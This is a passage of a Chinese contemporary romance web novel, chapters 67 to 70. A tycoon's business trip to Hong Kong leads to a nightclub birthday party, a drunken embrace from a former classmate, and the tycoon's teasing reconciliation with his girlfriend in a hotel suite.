她又仔细想了想,通讯录里点开安祈攸的电话犹豫了半天,还是没有拨出去,而是红着脸又跟顾程发了个简讯:【顾总,今天肖瑜还问了我一些,关于您个人感情和生活的问题。等您方便的时候,我想通过电话向您汇报。】
顾程:【重要吗?】
无所不能的刘秘书被问住了,好半天,才回复道:【肖瑜本人觉得没那么重要,只是我个人觉得可能有必要向您汇报。她还说已经不生你的气了,看起来心情不错。】
顾程:【好。等我忙完。】
刘娜轻轻舒了口气。
可是刚把车点着,她连转向都没打,顾程的电话已经打了过来,“五分钟,说。”
67. 第 67 章
第六十七章
顾程这厢的工作,开展得不算顺利。
靠谱的异国项目,僧多粥少。扎根北国的睿荣集团,因为高层更迭,几十年来第一次开启从国内引入资金的需求,试探性的会晤也是从港府开始,并没有大张旗鼓地跟内地接触。
因有秦舒曼的引荐,上午在睿荣内部会议结束后,他跟睿荣时下的名誉掌门人姜玉珠短暂碰了个面。不想这滴水不漏的女人,两句话就回了软钉子,以行程紧密,暂时安排不出时间为由,直接就把他晾在了一边。
好在东省商务团在下午三点就赶了过来,以为本地企业大外宣的由头跟港府对接,这才为顾程他们争取了晚宴前一个小时,与睿荣正式会面的机会。
偌大的会议室里,来自顾氏的精英,轮流上阵,将顾氏目前在跨国基建上的优势和已经完成的项目做了精简输出。而顾程和华总他们,则在总结部分,着重强调了顾氏在国内几个重要领域的顶尖地位,以及雄厚的资金实力。人脉方面点到即止,并没有做过多的详述。
睿荣的人,起初似乎对临时加开的会议十分敷衍,但实打实的数据摆出来,大屏幕前诸人不疾不徐却句句都在点子上的专业,也让他们逐渐专注而认真。会议开始不久,姜玉珠已微微顿首,示意身边骨干可以开始记录。
她这次过来,一行只有不到十人,但全是心腹,更是精英。只除了坐在左手边,那个一直抱臂注视着顾程的年轻男人,略略显得有些意兴阑珊。
*
会后的晚宴,姜玉珠主动开口,邀请顾程带人与她同往。她这边已有几个人作陪,其中就有秦舒曼和那个外形惹眼的年轻人。
秦舒曼跟姜玉珠之间的关系有点微妙。姜玉珠对她有知遇之恩,当年就是她把她招进了睿荣。她还记得那时,姜玉珠脸上还时常带着和煦的笑,培养她一步步成长,直至最后可以独挡一面。她说在她身上,可以看到自己当年的影子。
可如今的姜玉珠,保养得当的少妇,雍容华贵却神色冷峻。血雨腥风的几年官司,让她早已不复当年被丈夫捧在掌心时,含着笑游刃有余的模样。
秦舒曼归国前,正值睿荣权力动荡尘埃未定之际,其实姜玉珠对她此举很有心结。不过今日与顾程正面接触之后,她已些微释然。
这种男人,换做是当年的自己,也一定会义无反顾去争取。
*
政要致辞,各方代表发言,觥筹交错,资讯互换。
本次海外华人商务会晤,虽然顾程并不在受邀名单上,可顾氏旗下在香港也有不少产业,被港府牵线的各行各业多少有熟悉的,见了面,总要浅谈几句,抿几口酒。
眼风扫到姜玉珠结束了跟某位政要的笑谈,顾程跟面前的几位老总客气地致了歉,带着秘书邱心悦向她走了过去。
“姜总。”他朝姜玉珠举杯,噙着笑的视线掠过站在她身侧的秦舒曼和那个年轻男人,朝他们轻轻点了下头,“感谢您邀请我过来。您觉得明天,我们还有进一步详谈的必要吗?”
“顾总一向这么直接?”姜玉珠接过年轻男人递来的酒杯,跟顾程碰了一下。两人都轻抿一口,她才淡淡说道,“此前没想过引进内地资本,还需要时间研究一下。顾总有这个耐心等吗?”
“耐心当然有,但不多。”
顾程话一出口,姜玉珠的脸色已经冷了下来,身侧两人的神色也明显有了变化。
秦舒曼的眼睛里是显而易见的警告。而那个年轻男人则从一侧的托盘里拿了杯酒,一边轻啜,一边神色未名地打量着他。
几秒的对峙,姜玉珠没等到顾程的解释,反而又有了笑意,“刚才在会议上,看得出来你们也是下了不少功夫的。既然没有诚意,何必浪费大家的时间?”
“就是因为有诚意,才不想浪费时间试探拉扯,误了姜总的时机。”顾程低声笑了笑,又朝姜玉珠举杯,继而朝一侧歪了下头,“借一步说话?”
姜玉珠未置可否地看了他一会儿,抬手把酒杯交给秦舒曼,优雅地挽住顾程向她微微曲起的手臂,同他走向了露台。
两人身后,年轻的男人仰头将酒一饮而尽,舌尖舔了下唇,“泽城的华驰轮胎,也是顾氏的产业?”
他的眼睛盯着顾程的背影,并没有专门去问谁。邱心悦看了眼秦舒曼,因她尚未引荐,也不好主动说什么。秦舒曼也瞥了她一眼,浅浅笑道,“小姜是姜总的侄子,这次过来只是观摩学习的。”
“原来是小姜总。”邱心悦这才启唇笑道,“华驰的确是顾总的,不过并没有归于集团,只是顾总的个人爱好。”
男人抬了下眉,扯起唇角朝她笑了笑,放下酒杯,“失陪。秦总,跟我姑姑说一声,我回房间了。”
“好。”
他双手插兜折身离去,合体的西装下,宽肩劲腰的背影挺拔肆意,在中年人居多的会场里,就像一道行走的风景,便是悄无声息,也引来不少女性的注目礼。
邱心悦将目光从他身上挪回来,轻声笑道,“你们这个小姜总,挺有个性的。”
“年轻,总是棱角锋利点。”秦舒曼也轻声笑了笑,跟她一道在边椅上坐下来等,“姜总愿意跟阿程私下相谈,八字算是有了一撇。你们几时回去?”
“如果有意向,我想,应该明天就会回去开始正式准备了。”邱心悦点了下头,朝露台看了一眼,转眸笑道,“这次多亏了秦总。你们什么时候回泽城?顾总和费总他们,一直说要好好谢谢你的。”
“姜总这次还有别的事情处理,我会在这里多陪几天。”秦舒曼垂眸拨了下指甲,很随意地问道,“难得忙里偷闲,这么着急回去吗?”
邱心悦也垂了眸,淡淡笑着应道,“发薪水的是老板,自然得听老板安排呀。”
秦舒曼勾了下唇,抬眸见到漫步同来的姜玉珠和顾程,她碰了下邱心悦的胳膊示意她一同起身,笑道,“姜总,小姜让我跟您说一声,他先回房间了。”
姜玉珠闻言眉心微微一蹙,转头无奈地看向顾程,“见笑了。昊昊到底年纪还小,随心所欲的性子一时难改。那就等明天再介绍你们认识吧。”
“也不急于一时。”顾程点了下头,没有丝毫介意的样子,“我也算忙里偷闲,多待几天松松神经。姜总先忙您的事,随时恭候。”
“好。黄部长那边我还要去打个招呼。”姜玉珠又看向秦舒曼,略有深意地笑道,“舒曼,你就不必陪我了,顾总有什么要了解的,你可以知无不言。我很看好你这位大学旧友,果真人中龙凤。”
“姜总过奖了。”目送了姜玉珠离开,顾程朝秦舒曼举起酒杯,待她跟邱心悦都微笑着碰了杯饮了酒,他由衷地说道,“大功臣。如果事成,只怕以后再想从姜总那儿把你挖过来,会难上加难。”
“别光说啊。”秦舒曼回视着他,轻轻晃着酒杯笑,“不管送车还是送房,我都不会拒收的。”
“啧,难得听你主动开次口。”顾程很爽快地跟邱心悦说道,“你来安排,秦总指什么给什么。”
“呵,我就
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说说,你还当真啦。”不待邱心悦开口,秦舒曼已佯怒地嗔他一眼,挑了眉,“你要是真有心谢我,敢不敢陪我喝顿酒?就今晚,不醉不归?”
“这有什么不敢的?”顾程今晚心情不错,放下酒杯,直接就让邱心悦安排了下去,“通知费总和华总,忙了两天,叫上所有人,都去放松放松。”
秦舒曼闻言眸色一动,只是未来得及再说什么,邱心悦已经顿首转身,快步离开了会场。
她将口中的话咽了进去,曼步跟在顾程身侧,不紧不慢地说道,“听你刚才的意思,明天不打算回泽城了?”
“看情况。要先接触一下这位小姜总。”顾程眯了下眸子,问道,“你跟他熟吗?我总觉得像是之前在哪儿见过,但又没什么特别的印象。今天在见面会上,他似乎也很关注我。”
“我也是第一次见他。”秦舒曼听了,也有些疑惑地想了想,摇摇头,“姜总这几年被官司烦得够呛,本家的确经常前去探望,不过那都是私人场合,从不会让外人参与。不过,为什么一定要跟他接触?难道……”
看到顾程微微顿首,她眉心一蹙,显然很是惊讶,“这种项目让他负责?就算是亲侄子,也有点过了。他懂什么?姜总没开玩笑?”
“呵。”顾程闷笑一声,揶揄道,“你到底是姜总的人,还是我的人?姜总让你知无不言,你还真是什么都敢说。”
秦舒曼立定脚步看向他,明艳的眼眸里似乎多了丝深意,“我当然是你的人。只是你一直不愿意罢了。”
“又来了。”这种半真半假半玩笑的秦式调侃,实在让顾程有点接不上话。他无奈地看她一眼,叹口气笑道,“是我失言,待会儿自罚三杯。”
*
夜来的娱乐,不仅有随行的团队,也有本地几个子公司的负责人。集团太子爷临时问港,这些人精嗅着风直接赶过来,包下了视野最佳的场地,酒水美女男模,样样妥当。
因为顾程发了话,临时组建的精英队伍经过连续两日的高密度脑力工作,也确实需要放松一下,一群人跟上了年纪的华总和费总打过招呼,便嬉笑着下场狂嗨,尽情释放压力。也有一些不善热舞的,留在了包间喝酒聊天,玩起了各式各样的氛围游戏。
美女帅哥环伺中,顾程接过身侧女孩子递来的酒杯,指了指刚才选中她服侍自己的港区传媒公司老总陈越,“回去陈总那儿,我不需要你作陪。”
娇艳动人的女孩子眸色黯淡下来,拿贝齿咬上鼓嘟嘟的唇,哀怨地滑去他脚下半跪半坐下来,把小巧的下巴搁在男人西裤下紧实的大腿上,深幽的沟壑抵他小腿上轻轻蹭,“阿莲很乖的。您不要我,陈总随后会跟我发脾气的。”
秦舒曼身侧坐着的,是个眉眼清隽的小鲜肉,阴柔挂的气质。她淡笑着听男人一口一句在耳边夸赞自己人美有能力,抿着酒,去看顾程。
大学时偶尔一同来次夜场,尽管包间内并不喧闹,顾程也甚少展颜,除了跟朋友喝酒聊天,多数时候都一副不怎么耐烦的模样,更别说让陪酒公主往身边凑。而如今的他,一副习以为常的样子,即便女人都贴上了腿,他也只是摇头低笑着说道,“再让我说第二遍,我可是会对陈总发脾气的。”
阿莲愣了一下,很识相地把身体挪开,含情脉脉的眸子里带着委屈,看向不远处的陈越。
陈越跟华总说着话,眼睛却一刻没停地关注着这边,接收到阿莲的眼神,他连忙起身走了过来,操着不怎么标准的普通话,佯怒道,“怎么惹顾总生气了呐?”
68. 第 68 章
第六十八章
“陈总有心了。”顾程笑着朝他举了下杯,并无怪罪的意思,“接过这杯酒,已是领了你的心意。我不喜欢这些,你是知道的。”
“哎呀,嗨我滴错啦。”陈越连忙摆手让阿莲去别的地方,瞥一眼顾程身侧的秦舒曼,他眼珠子一转,也赶紧让她身边的男人撤了,蹲身下来笑道,“今天这些都不系外人,很干净滴,系公司最近打算签约的新人呀,原本我系想趁机让顾总给把把关啦。不过刚才听华总说,您今晚系专门答谢秦总滴。那我就不掺呼啦,等明天,明天顾总得空滴话,我那边还有几位待签的新人,顾总看一看啦?”
“你的眼光,比我专业。”顾程勾唇笑了笑,本打算直接推拒,可不知突然想起了什么,他竟意外地点了头,“明天跟邱秘书联系,这几天如果得空,我会带人过去看看。”
陈越显然对他的首肯意外又惊喜,连忙双手合十边道谢,边退身离开,“真的喔,那我就安排一下,恭候大驾啦。你们聊,你们聊。”
“啧,大开眼界。”秦舒曼挑眉看着顾程,慢悠悠说道,“顾总如今竟是万花丛中不沾身,如此游刃有余了。”
“夸张了。”顾程笑着喝了口酒,把自己跟她的都添上,举杯道,“今晚他们都是摆设,你才是重点,来,陪你尽兴。”
秦舒曼哼了一声,很豪爽地干了自己这杯。见顾程叹口气,也仰头把自己的干了,她才笑道,“就这么干喝,不玩点什么?”
“你是个中高手,我玩什么能赢得了你?”顾程看向玩着游戏嬉笑热闹、刻意为自己和秦舒曼腾出空间的男男女女,笑道,“你要是想玩,参加他们的去,输了我帮你喝,也算是尽了陪酒的责。”
“牺牲这么大啊?”秦舒曼被他逗笑,晃着杯子里琥珀色的液体,又跟他碰了一下,“你替我喝,谁还敢让我输?”她饮完酒,似是有些疲惫地放下酒杯,仰面靠向沙发抱臂看着他,“有时候觉得真挺没意思的。阿程,你不觉得我也变了吗?”
“嗯。”顾程又为她添了酒,却也放下酒杯,双臂手肘支在腿上,看向不住传出大笑的酒场,淡淡笑了笑,“确实。大学那会儿,你可是夜舞女王。怎么,突然收心养性了?”
“我有点倦了,不想努力证明给谁看了。”秦舒曼也探身向前,歪了头,支腮瞧着他,似笑非笑,“你到底打算找个什么样的女人结婚?世间繁花,就真没有能入你法眼的?”
“我女朋友你不是见过?”顾程低笑一声,揶揄道,“这才喝了几杯,你就醉了?”
秦舒曼挑了下眉,正色道,“那你觉得,我跟什么样的男人结婚比较合适?”
顾程有些意外地看向她,待见她神色间竟是罕有的认真,他思索了一下,敛了笑,“自然是你觉得合适的。舒曼……”
见他有所迟疑,秦舒曼依旧目不转睛地看着他,也不说话,只是不经意地,舌尖微微撩了下唇角。
“每个人都有自己的选择,你的家事我本不该多言。”顾程又将酒杯拿起,分给彼此,温声道,“既然有了结婚的打算,就不要再跟父母置气了。”
秦舒曼握着酒杯的指尖紧了一下,垂下眼眸,低声笑了起来,“我早已经把他忘了。阿程,你要我说多少次你才能相信?那个男人不过是我年少无知瞎了眼的教训,如今我早就不是因为这件事生他们的气。我受不了的,是他们形同虚设,牢笼一样的婚姻,让人窒息,让人喘不过气。”
“他们的婚姻原本就是他们自己的选择,跟你有什么关系?”顾程见她仰头又灌了一杯酒,跟着竟要伸手去摸桌上的酒瓶,他抬手就把酒瓶拿开,蹙眉道,“舒曼,他们是他们,你是你。很多事本就如人饮水,冷暖自知,你何必非得把自己的意愿,强加在你母亲的头上。”
“说真心话了是吗?呵……原来你一直都觉得我是错的?”秦舒曼的眼中似乎已起了醉意,素来仿佛山崩地裂都不会动容的面色,因那略带凄楚的眸,显得软弱又委屈,“那是爱吗?委曲求全,唯唯诺诺,为了留住一个已经不再爱她的男人,留住一段外表光鲜内里烂成污泥的婚姻,连小三的私生子都愿意接进家门。阿程,天下乌鸦一般黑,你以后也会是这样的男人吗?”
“我不是。”顾程随口应着,将桌上那些酒瓶都推远一些,回过头来安慰她道,“很多男人都不是。你喝得太急了,缓一下。”
“阿程。”秦舒曼的视线在他面上流转,不复往日的干练自信,此刻因眸中一股陌生的情愫,看起来脆弱得像是一碰就会碎。她丰润的唇颤了颤,深深望着他的眼睛,轻声问,“我哪里不好?你一直都没喜欢过我,是因为我曾经有过别的男人吗?”
“你真的醉了。”顾程有些无奈,伸手捏了下眉心,转头正要叫华总那边服侍的人过来帮忙,哪知只是一回首的功夫,怀里钻进火热的身躯,一双手环腰抱上他,紧得他连呼吸都顿觉不畅,“阿程,我真的……别推开我,让我靠一下,好吗?”
*
肖瑜这一天过得很晕,不管生理,还是心理,都晕乎乎的。
昨晚本就睡眠不足,又为刘孜歆的事情忙碌整天,而今几个小时的功夫,她蹿天入地般,一刻不得停歇地站在了不知何处的喧闹酒吧。身侧是机场初见的邱心悦,入眼是怀里钻了个女人、双目惊张望着她的顾程……
她咽了下嗓子,晕得很,伸手使劲儿揉了揉眼睛。
是在做梦吗?
*
邱心悦也惊了,觉得血管里流的尽是冰碴子。
顾总安排自己带人去接女友的机,她当时可是很尽职地提醒过他,是不是要先安排小姑娘去别的酒店入住,毕竟秦舒曼的身份比较特殊,容易误会。
可他们家不可一世的顾总怎么说的?‘这有什么需要避嫌的?工作而已,不必。我在哪儿她在哪儿,我要第一时间见到她。’
*
“邱秘!你这一晚上跑哪儿去了?”
自打顾程首肯,陈越就一直在找邱秘书,包间里没瞧见,还以为她下去跳舞了,此刻看到邱秘书过来,还带了个
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穿着休闲服水灵灵懵懵懂懂的小美女,他连忙笑着起身迎过来,“快快,着急给您敬酒呐。这位也介绍一下?”
“……”长袖善舞的邱秘书看向已经推开怀里的女人、阔步而来的顾程,沉默了。
“您好,我是肖瑜。”肖瑜晕是晕,就算梦境跟现实都快分不清,也还是很有员工觉悟的、跟面前的人打招呼,点头微笑,“我是……是顾总的紧急事务秘书。”
没错。临行前,安祈攸给她看的文件上,职位名称:总裁办紧急事务秘书。所以大半夜的她连觉都不能睡,为了一份加急机密文件,要钻进云里打个滚再落下来。
‘啪’一声轻响,耳后夜场依旧喧嚣,眼前却陷入一片彻底的黑暗。
肖瑜舒了口气。
果然是太累了,做了场累到脱力,光怪陆离的梦。
“祝你生日快乐……”
精致的多层蛋糕被几个俊男靓女推进来。跳动的烛光中,一群人欢笑着上前,簇拥住了距离肖瑜几步之遥的顾程。他的身边,是尚有泪痕却带着笑的秦舒曼。
如梦似幻。
肖瑜被涌来的人群阻隔了视线,她默默往后退开一步低下头,还在研究一件事。
到底是梦,还是现实?
她决定用最古老的方法来弄醒自己,掐一把胳膊。
可右手刚抬起来,左手已经被握进了一个火热的掌心。她眨了眨眼睛抬起头,顾程正低头看着她,没有一丝笑意,“陪我许愿。”
一时四周鸦雀无声,各色目光在顾程和肖瑜、还有秦舒曼的脸上跳来跳去,惊讶多于好奇。
“是我的错,大家别误会。”秦舒曼率先打破沉默,很大方地跟众人解释道,“刚才一时酒意上了头,忆及往事,情绪有点失控。阿程只是出于多年的友情,在安慰我。这位是她的女朋友,我们也认识。”
顾程的眉骨动了一下,没有否认,也没有多做解释。他依旧目不转睛看着肖瑜,握住她的手却紧了紧,似乎沁了汗。
“许愿啊。”肖瑜终于彻底认清了现实,浅浅的笑意浮上唇角,她回握了一下顾程的手,看向快要滴泪的火烛,“亲爱的,生日快乐。”
“哦~~~甜的嘞!”
“顾总好福气,女朋友是刚下飞机呐,风尘仆仆也要为您庆生呐!”
“哈哈,阿程啊,快许愿,早点让你爸抱上大孙子!”
顾程这才舒了口气,又看了她一眼,闭上眼睛认真地许起了愿。
跟在身后的邱心悦也长舒一口气,再看向肖瑜的目光,不免多了些欣赏。小小年纪,居然这么识大体,的确配得上他们家这朵高岭之花。
*
被顾程握住右手一起切了蛋糕,又在他的带领下跟诸人一一打了招呼。终于生日仪式过完,众人各回领地延续着方才的热闹,秦舒曼才略带内疚地跟肖瑜再次解释道,“你不要怪阿程,真的是我一时没把握好。”
“你要解释一下吗?”肖瑜点了下头,问顾程,“我给你解释的机会。”
69. 第 69 章
第六十九章
顾程的脸色青白不定,即便紧握着她的手,也还是觉得有些抓不住。他的嗓音在喉咙里转,声音很闷,“事出突然,我没有预料到。”
“那你以后要注意。”肖瑜弯了唇角,很认真地叮嘱道,“你是个很优秀的男人,以后出门在外,尤其是喝了酒的时候,一定要注意保护自己,不要轻易被人占了便宜。”
“……好。”顾程的喉结动了一下,眼睛里的冰芒如有春意拂过,悄然化开,“不会再有下次。”
“菲菲和安总都让我带了生日礼物给你。”肖瑜一边说,一边从身边的背包里拿出一只包装精美的小礼盒,“安总的礼物里面有液体,所以放在行李箱了。这是菲菲的,你要打开看看吗?”
“你的呢?”顾程唇角有了笑,接过四方盒却看着她,“你的礼物呢?”
“不管怎么样你都抱了别的女孩子。”肖瑜大眼睛翻了一下,拉紧背包的拉链,扁了下嘴扭开脸,不怎么想看他的样子,“所以我还是有点不太高兴的。”
顾程刚弯起的唇角又平了下去,他咽一下嗓子还没再说话,肖瑜又嘟了嘴抬头瞪着他,可埋怨的话又软又娇,“可我实在是太累了,瞌睡,头也晕,没有精力跟你发脾气。等我睡好了歇过来,发完脾气再给你。”
“……”三言两语,搅得顾程哭笑不得。他抬手就想把小丫头拢怀里好好哄,可肖瑜耷拉着眼角看向他的胸口,推开他拒绝道,“你想抱我,要先洗澡,换衣服。”
“累了我们就回去休息,我一定进门就洗。”顾程也垂眸看向自己的胸口,微蹙的眉下是转瞬即逝的嫌恶。他转头看向许久未再出声的秦舒曼,“秦总,喝得尽兴吗?”
秦舒曼迎上他凉凉的目光,不躲也不怯,甚至低声笑了笑,“喝得没看得尽兴。阿程,你这小女朋友可真有意思。嗳,肖瑜。”她探身,像个熟稔的大姐姐一样,轻笑着问道,“哄男人这么有经验啊。你就真不怕阿程被人抢走吗?”
顾程的脸色彻底沉了下来。
肖瑜伸手握住他的胳膊捏了一下,也探出头,迎向秦舒曼暗含轻慢的目光。她转着眼珠问,“你想听我说点诛心的大实话吗?”
“呵。”秦舒曼撩了下眼角,点头,“嗯,诛一下看看。”
“推开你,走向我,已经说明在他心里,我比你这个前女友重要。”肖瑜抬眸看了眼面色稍缓的顾程,复又将目光落在笑意已有些勉强的秦舒曼脸上,“再说他要是想跟你有什么,会选在这里吗?大庭广众,那么多双眼睛,还都是他的下属。他身份摆在那儿,难不成还会当众跟你打野战啊?自然是对你没什么兴趣的。”
“肖瑜!”
肖瑜万万没想到,开口呵斥她的居然会是顾程。
他一把握住她的肩,缓口气,克制地说道,“你……注意用词。”
“我说错了吗?”肖瑜唇角撇了一下,委屈又不可置信地瞪着他,“难道其实你想?”
顾程深吸一口气,嚯得起身,却又坐下来,然后又起身,把肖瑜也拉了起来,“我不想。回去休息。”
秦舒曼在侧抱臂悠然道,“这就走了?我还没尽兴。”
“我的人会让你尽兴。”顾程脚步一滞,一边招手示意陈越过来,一边垂眸看着她道,“不管你的理由是醉了还是又在开玩笑,你知道我的底线在哪里。秦总,以后不要再单独约见了。”
秦舒曼的指尖陷入掌心,也缓缓起了身,似笑非笑,“顾总这过河拆桥,是不是有点早?”
陈越已堆着笑过来,眼见两女一男脸色都不怎么好看,他像是毫无察觉般,打着哈哈问,“顾总有什么吩咐嘞?”
“你的地盘,别让我失望。好好招待秦总,要男人要酒,都给我伺候到。”顾程说着,眯了下眸,看向已经彻底没了笑意的秦舒曼,“秦总,陪你走场面看的是往日情分,抬的是你的脸。这件事于我锦上添花,于睿荣则是雪中送炭。入戏太深,真分不清自己是谁的人了?你再掂量掂量,是睿荣被砍了国内的物流线损失大,还是我弃了这份计划外的单损失大。”
“阿程……”秦舒曼眸色微凛,凝眉轻叹,“你是这么想我的?”
“别再叫我阿程,我跟你没那么亲近。”顾程已完全没了耐心,探手拿起肖瑜的背包,拉起她的手就走,“前女友?呵,你自己心里没数?”
*
回酒店的路上,肖瑜嘟着嘴抱着背包,瞌睡得眼皮子都打架,也不让顾程搂一下,下巴搁在背包上,昏昏沉沉像只打盹儿的猫。
顾程锁眉看着她,到底觉得自己今晚确实不怎么干净,也没强求,只是思索片刻后,还是忍不住说道,“我不是凶你。你一个小姑娘,那种虎狼之词,怎么可以当着外人的面,张口就来。”
“什么虎狼之词?”肖瑜的脑袋一点一点的,困得已经说话完全不用过脑子,“打野战啊?我没说你们想打野.炮就是客气的。我觉得‘战’比‘炮’听起来文雅多了。”
“还说?!”顾程眼皮子一跳,看向前方专心开车的司机,十指都蜷了,“哪儿学的?知道自己在说什么吗?”
“你别叫,我都要睡着了。”她咕咕哝哝把头靠在车窗,哼哼道,“我写文的时候比这更猛的词都有。别叫了,你乖一点。”
*
车门打开时灌入的冷风,又把刚眯了一顿的肖瑜给闹醒。这一天两夜,她几乎没有一场舒坦的睡眠,使劲儿揉着眼睛摇了摇头,她才推开顾程伸过来的手,自己下了车,一边走,一边苦着脸使唤他,“证件都在包里,有没有风景无所谓,大床,干净,有按摩浴缸。”
顾程思忖了几秒,这才反应过来小姑娘是要他给订房间。他‘嗯’了一声,却是带她直接走向电梯,“订过了。”
然而进了套房,肖瑜瞅一眼环形落地窗外壮阔的海景,睡意登时散了不少,“这是你的房间吧?”
“去洗澡。”顾程未置可否,却把她的行李箱和背包都放下,去卧室里拖了只箱子出来,径直走向门口,“早点休息。”
“……”他锁了门就出去,没再跟她多废一句话。肖瑜莫名其妙原地眨了眨眼睛,可到底累得够呛,她打开箱子拿了睡衣,寻着浴室钻进去,快速冲起了澡。
被前女友抱了,就算他把自己的总统套让出来,也不能轻易原谅。
洗漱吹发的时候,护肤揉油的时候,肖瑜想了很多惩罚他的手段,比如让他学猫叫,比如让他给自己捏脚,再比如,让他沾着酱油吃辣椒,看他哭鼻子。
可想归想,男人俊逸却偏冷感的五官,和健美有力的身型闯入脑海,她又不免感慨,这些适合小奶狗的调/教手段,怕是一辈子都不能实践到顾程的身上。
有那么点遗憾……
温暖柔软的羽被裹着身体,她抱着枕头面向视野辽阔的海景,时不时想起这些笑一笑,又打几个呵欠。硕大的软床上,劳累整日的小身板,终于随着浅浅的呼吸声,彻底放松了下来。
*
这一觉睡得极沉。解乏,舒适,甚至梦里再度暖洋洋,甜美美,像被伴着花香的春风给拂了一遍又一遍,都让
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人睡得有点,说不出的荡漾。
暗无天日的房间里醒来,已是次日。
肖瑜眯眼儿犯着迷糊,好半天,虚无的视线才从厚重的窗帘上慢慢挪开,落去沙发上的雕像。
雕像正在……看手机?
她瞬间清醒,一骨碌就坐了起来,睁大眼睛不确定地问,“顾总?”
“嗯。”
她的声音似是惊到了顾程。手机屏幕黑下来前的光线里,他看向她的那一眼,竟是又惊又怒。
肖瑜下意识就抖了一下,可想起昨晚明明是他抱了别的女人,她瞬间就理直气壮地又挺直了腰板。
窗帘一丝丝自动打开,顾程放下手机站了起来,沉默着慢慢向她逼近。
他惯爱深色,背着光一时看不清楚他的脸,可那紧致结实的轮廓,劲腰长腿充满了张力。偏偏衬衣西裤深暗的色调,又尽显他矜持清贵的气质,一副高高在上,不容侵犯的样子。
肖瑜咽了下口水,跟着,握住被角往后挪了挪。
她有点不坚定了。许是清晨刚睡醒,意志力过于薄弱。美色当前,她居然很没出息的,什么都不想再去追究,只想先……
“睡饱了吗?”他坐在床边开了口,哪里有分毫惊怒的语气,分明比之前任何时候都要温柔。他伸手握住她的脖子,高高的鼻梁轻轻往她脸前凑,“想怎么发脾气?你发。”
“……”肖瑜瞅着他抿起的唇角,又吞了吞口水,渴得厉害,“我,我……”她咬了下唇,垂眸嗫嚅道,“我还没刷牙。”
闷闷的笑声自顾程喉间溢出,下一秒,他温热的唇直接就吻了上来。仿佛是为了回应她这句话,不似以往先温柔地在唇间厮磨,而是直接深入劫掠,直把肖瑜亲得软了身子低吟着去推他,他才噙着笑抬首,捏捏她的脸,“味道不错,没刷牙也是甜的。礼物呢?”
“……”肖瑜被亲得眼睛里水汪汪,脑子里更是迷瞪瞪空白一片。听他这么问,她这才反应过来,原来他是把不刷牙的早安吻,给当做了她发脾气的手段。
他一定是故意的,想用美男计蒙混过关。她幽怨地瞪着他,“你别想就这么算了。我不,我要你学猫叫。”
“猫叫?哪种猫叫?”
她原以为顾程会一口回绝,哪知他却无比配合,一本正经地问,“猫叫很多种。你想听哪种?”
“就……”肖瑜想了一下,不给他装不懂的机会,“就团团那种的。你听过。”
“这几天太忙,我都不记得了。”顾程沉眉想了想,坐近一点把她拢怀里,“团团怎么叫的?”
“就是……”肖瑜不满地横了他一眼,两手空握在脸前,做出小猫挠门的样子,捏着嗓子轻轻叫,“喵呜~喵呜~这样的。”
她学得很像,本来嗓音就软,这几声刻意的模仿,更是挠得顾程心里真有猫在抓一样。他垂眸还想再逗她两句,可视线掠过颈肩雪白的肌肤,看到她藏不住的丰满,他握了下五指起身,立在床畔问,“是不是我学了就翻篇了,发完脾气了?”
他突然起身离开,令肖瑜很是意外,甚至还有点难言的失望。可她也不知道这失望来自何处,或者哪里存有期待,毕竟人家都愿意学猫叫了,自己也不能太小心眼。
于是她点了点头,不怎么情愿地说,“你学了,我就拿礼物给你。”
“喵,呜。”
平直没起伏,字正腔圆朗读出来两个字后,顾程朝她伸出手,“礼物?”
“……”肖瑜翻着眼睛看他。
他勾勾食指,“别耍赖。礼物。”
70. 第 70 章
第七十章
精致的小蒸笼,巴掌大。
看到这个诡异的造型时,顾程已经微微蹙起了眉。
“我去刷牙洗脸。”
肖瑜掀开被子,留下一句话飞快地跑去浴室,把门反锁了,捂着嘴笑得闷坏。
可惜溜得太快,忘了拿换洗衣物。她磨磨蹭蹭洗漱完裹上浴巾,刚把门把手转了一下,眼前的男人掌心里托着一只包子,搁在她眼前问,“硅胶的。能吃?”
肖瑜下意识就拿双手抱住了胸,从他身侧的缝隙里挤出去,含糊的说道,“是玩具,不能吃。”
她匆忙地在行李箱里翻衣物,顾程慢吞吞走过来,瞥一眼她拿出来的罩罩,登时福至心灵般,攥了攥掌心。
“太小,没你的好玩。”
肖瑜的脸一阵燥热,刚起身就被他拉进怀里捏了两下,低头在她耳畔笑,“你还真是处心积虑想验货。”
她被捏地哼了哼,推开他后退几步,羞得不敢抬头,“才不是呢!我……本来想送你别的东西,可我怕你……”
她想起被他从垃圾桶里拾回来的小鱼项链,又想起两人之间最大的问题,方才那番笑闹带来的轻松心境,再次变得有些沉重起来。
顾程还噙着笑看她如何解释,可见她抬眼就变了神色,他眯了下眸,长腿一迈,不等她再往后退,一把就将人捞进了怀里,“虎狼之词拦都拦不住,还有什么不敢说的?原本想送什么给我?”
“情侣项链。”肖瑜贴在他胸前,抬起头,望着他长睫下戏谑的双眸,“可我怕将来分了手,你也会把它像垃圾一样丢掉。”
话音落下,顾程的眼神果然冷了下来。
肖瑜咬了下唇,还是迎着他的冷眸,轻轻说道,“我喜欢过别人,那是我生命中的一部分经历,不可能因为一段新的感情,就否认,就把曾经的心意视作耻辱。我会忘却,可以把项链收起来不戴,也可以自己处理掉。但那跟被你扔垃圾一样丢掉,是不一样的。”
这些话她想了许久,从答应陪他过生日起,就数次在脑海中流转。后来顾程那些挽回的举动,为了她安排刘娜去处理刘孜歆的事,更让她感动之余,愈发舍不得轻易就放弃这段感情,是以把话说出来后,竟有些忐忑他是否能够接受。
顾程沉默了许久,面色依旧没有缓下来。
肖瑜在他的逼视下,渐渐垂下了眼眸。
揽在腰上的手紧了一下,发顶传来他情绪不明的声音,“还有什么顾虑,一次说完。”
肖瑜再次抬眼看向他,咬了咬嘴巴,“我觉得我跟你之间最大的问题,就是……你总是过不去心里这道坎。过去的就是过去了,我珍惜的从来都是眼前。我想在你面前可以做真正的自己,被信任,被完全接受,不需要隐瞒,不需要伪装。我全心全意地去爱你,而你也可以没有负担地享受,回应我的爱。”
她鼓足了勇气,点滴累积的情意,从心里直接变成了话语,很多是她此前甚至从未想过的,就这样毫无保留地向他敞开了心怀。
可顾程还是冷眼看着她,挤牙膏一样,又在她腰上掐了一下,“继续。”
“你……”肖瑜委屈极了,推他一把推不开,索性低下头,赌气道,“那时候我又不认识你,也不是你的女朋友。我,不可能知道未来有一天会跟你在一起,所以是不可能为你守身心的。你要是实在接受不了,过不去,那就……”
